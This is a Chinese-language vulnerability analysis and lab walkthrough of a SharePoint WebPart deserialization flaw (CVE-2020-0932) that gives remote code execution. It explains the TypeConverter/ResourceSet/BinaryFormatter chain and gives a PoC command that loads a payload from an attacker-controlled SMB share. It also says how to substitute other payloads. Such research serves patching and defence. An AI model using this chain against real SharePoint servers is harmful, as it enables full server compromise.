0x00 前言
2020年4月,微软公布了4个严重级别补丁及2个重要级别补丁,修复了SharePoint中的RCE(远程代码执行)漏洞,这些漏洞都属于反序列化漏洞,其中有2个漏洞由匿名研究人员向ZDI项目提供,分别为CVE-2020-0931及CVE-2020-0932。本文详细分析了第二个漏洞(即ZDI-20-468),漏洞复现过程可参考此处视频。
该漏洞允许经过身份认证的用户在SharePoint服务器上,在SharePoint应用服务账户的上下文中执行任意代码。为了利用该漏洞,攻击者必须具备SharePoint站点(或者至少具备该站点上某一页面)的“添加或自定义页面”权限。然而,默认配置下的SharePoint允许经过身份认证的任意用户以所需的所有权限来创建自己的站点。
0x01 漏洞分析
该漏洞的根源在于SharePoint在解析WebPart的XML配置时,并没有限制可用的属性类型(Type)。攻击者可能指定属性的字符串及类型名,SharePoint会尝试根据指定的类型,使用TypeConverter
来转换字符串。攻击者可以使用SharePoint库中的某些TypeConverter
实现任意代码执行。
此次攻击的入口点为如下WebPartPages)服务:
http://<Site>/_vti_bin/WebPartPages.asmx
在这个Web服务的内部实现中,处理XML WebPart配置时涉及到多个方法,其中有个方法为RenderWebPartForEdit
。需要注意的是,RenderWebPartForEdit)以WebMethod
形式对外公开,因此我们可以通过HTTP请求来调用该方法。
下一个方法(webPartImporter.CreateWebPart()
)比较复杂,其中实现了针对两个不同版本XML配置的解析器,分别为WebPart/v2(.dwp
)文件及WebPart/v3(.webpart
)文件。我们关注的重点在于针对.webpart
文件的解析器。此外,该方法中大部分代码专用于Type
解析以及验证WebPart
,然而这与攻击过程无关,这里不再详细阐述。
我们的XML payload会传递给ImportWebPartBase()
。
这意味着所有属性元素都将由ImportWebPartFile.AddToProperyArrayLists()
处理:
此时我们可以控制两个关键字符串:text
及xmlAttributeValue2
。text
来自于属性元素的文本内容,而xmlAttributeValue2
来自于元素的类型属性。在上图中,代码基于xmlAttributeValue2
选择了一个.NET 类型,然后使用该类型的TypeConverte
,将text
转换为.NET对象实例(propValue
)。
我们来研究一下可以使用哪些类型:
由于这里没有限制,因此我们可以使用任何Type
。
选择TypeConverter实现RCE
为了实现任意代码执行,我们选择System.Resources.ResXFileRef
类型及对应的TypeConverter
(System.Resources.ResXFileRef.Converter
)作为目标:
以上代码表明,System.Resources.ResXFileRef.Converter
将接受我们指定的字符串(value
),解析出两部分数据。首先为array[0]
,代码会将其解释为指向.resources
资源文件的路径。其次为array[1]
,代码将其解释为.NET Type
的名称。因此,上述代码将向构造函数传入单个参数,实例化我们指定的Type
。该参数为包含我们指定的.resources
文件的内容流。由于我们可以指定一个远程路径,指向攻击者控制的SMB服务端,因此我们可以完全控制流的内容。
选择可以实例化的Type
最后一个难题就是找到可用的.NET类型,该类型构造函数接受Stream
类型的单个参数,可以用于实现任意代码执行。这里可能作为攻击的目标为System.Resources.ResourceSet
:
这里我们只关心两行代码:第一行及最后一行。第一行代码会调用System.Resources.ResourceReader
的构造函数:
这看上去非常有希望,因为代码接受Stream
的内容,将其提供给BinaryFormatter
,这很容出现任意对象反序列化问题。
回看System.Resources.ResourceSet
构造函数的最后一行,沿着代码执行路径流,往下跟进几层调用:
这表明服务端会反序列化不可信的数据,允许我们执行任意代码。
生成.resources文件
为了发起攻击,我们需要包含我们payload的一个编译好的.resources
资源文件。我们可以使用Visual Studio来创建所需的.resources
文件。在编译时,Visual Studio会使用Resource File Generator(Resgen.exe
),将.resx
文件转换为二进制资源文件(.resources
)。为了注入payload,我们可以编辑.resx
文件,使用如下内容替换已有的data
节点:
现在我们可以保存*.resx
文件,编译当前工程。Visual Studio会将编译好的*.resources
文件存放在/obj
目录中。
0x02 PoC
为了演示漏洞利用过程,我们在Windows Server 2019 Datacenter服务器上采用了默认安装的Microsoft SharePoint Server 2019。我们的主机名为sp2019.contoso.lab
,为contoso.lab
域中的主机成员,域控制器使用独立的虚拟机。我们添加了多个用户,包括具备常规权限的user2
账户。
在攻击者系统上,我们可以选择SharePoint支持的任何Web浏览器,这里我们使用的是Mozilla Firefox 69.0.3。我们自己开发了一个SP_soap_RCE_PoC.exe
应用来发起攻击,大家可以访问此处下载所需的文件,自己测试一下。如果想使用不同的BinaryFormatter
payload,大家需要使用YSoSerial.Net。在演示场景中,我们选择在PoC中硬编码payload。
接下来我们需要设置攻击者控制的一个远程SMB服务器,这里我们选择能够收到目标SharePoint服务器流量的任何主机。在这台服务器上,我们需要配置一个不需要身份认证就能访问的共享文件夹。这个过程可能比较繁琐,大家可以参考此处来设置。在测试环境中,我们选择搭载Windows Server 2016 Standard系统的主机,IP地址为192.168.50.210
。在设置共享文件夹时,我们还需要在共享目录的“Security”选项卡中勾选Everyone
、Guest
以及ANONYMOUS LOGON
。
可能有人会好奇,为什么SharePoint服务器会访问可匿名访问的SMB共享。出于安全原因,Windows SMB客户端通常不允许执行此类操作,这是从Windows 10 1709及Windows Server 2016开始引入的一个缓解机制。这里的答案在于,出于某些原因,SharePoint安装程序会通过注册表关闭该缓解机制。更具体一些,安装程序会修改HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters
,将AllowInsecureGuestAuth
的值改为1
。
创建并设置好目录后,我们可以将BinaryFormatter
payload放在该位置,开始攻击。为了便于演示,我们将其命名为SP_soap_RCE_PoC.RCE_Resource.resources
。
我们首先访问SharePoint服务器,使用普通用户通过身份认证。这里我们选择的用户为user2
:
现在我们已经成功通过身份认证:
接下来创建自己的站点,这样我们就能成为该站点所有者,具备所有权限。需要注意的是,如果攻击者无法创建自己的站点,那么仍然可以尝试已有的所有站点及页面,查找具备“添加或者定制”权限的目标。
点击顶栏的“SharePoint”:
现在点击“+Create site”链接:
这里为了演示方便,我们选择“Team Site”,但其实上图中两个选项都可以。现在我们需要为新站点选择一个名称,这里我们使用的是siteofuser2
。
此外,我们还需要知道新站点的BaseURL
。我们可以在下图中找到该信息,该信息位于绿色“Available”标签的上方。在示例中,这个URL为http://sp2019/sites/siteofuser2
:
点击“Finish”,成功创建新的站点:
现在转到目标SharePoint服务器,打开C:\windows\temp
目录:
可以发现该目录中尚未出现Vuln_Server.txt
。如果攻击成功,我们的PoC将会创建该文件。接下来,我们可以看到攻击者控制的SMB服务器上存在我们准备好的SP_soap_RCE_PoC.RCE_Resource.resources
文件:
现在转到“攻击者”主机,我们准备使用自制的SP_soap_RCE_PoC.exe
发起攻击,我们需要提供如下参数:
— BaseUrl :目标SharePoint服务器的BaseUrl。这里对应的值为http://sp2019/sites/siteofuser2/
。
— UserName:这里为user2
。
— Password
— Domain
— Remote Path:payload文件路径。
最终构造的命令如下:
SP_soap_RCE_PoC.exe http://Sp2019/sites/siteofuser2/ user2 P@ssw0rd contoso //192.168.50.210/share/SP_soap_RCE_PoC.RCE_Resource.resources
SharePoint的确会提示错误信息,表示我们指定了不安全的类型,但攻击依然能够成功完成。我们可以检查目标服务器上的Temp
目录:
这意味着攻击者可以执行任意系统命令,拿下整个服务器。为了执行其他命令,我们需要生成自己的*.resource
文件。这里我们可以使用任意文本编辑器打开RCE_Resource.resx
文件,使用所需的payload替换经过base64编码的BinaryFormatter
payload。
我们可以保存文件,在Visual Studio中打开项目重新编译。带有新payload的SP_soap_RCE_PoC.RCE_Resource.resources
文件将位于\SP_soap_RCE_PoC\SP_soap_RCE_PoC\obj\Release\
目录中。
0x03 总结
根据微软的描述,官方通过“更正SharePoint对应用包源标记的检查过程”从而修复了这个漏洞。有趣的是,这6个SharePoint漏洞(包括严重等级的漏洞)都纳入同一个公告中。官方并没有给出足够信息,解释为什么某些漏洞等级评为严重级别,其他漏洞评为重要级别。因为这一点,我们建议大家将这些漏洞都当成“严重”级别漏洞来处理。在过去一段时间,攻击者都很喜欢利用SharePoint漏洞。2019年,攻击者曾在实际环境中广泛使用过CVE-2019-0604。这个漏洞是否会受攻击者欢迎,我们还是留给时间来证明。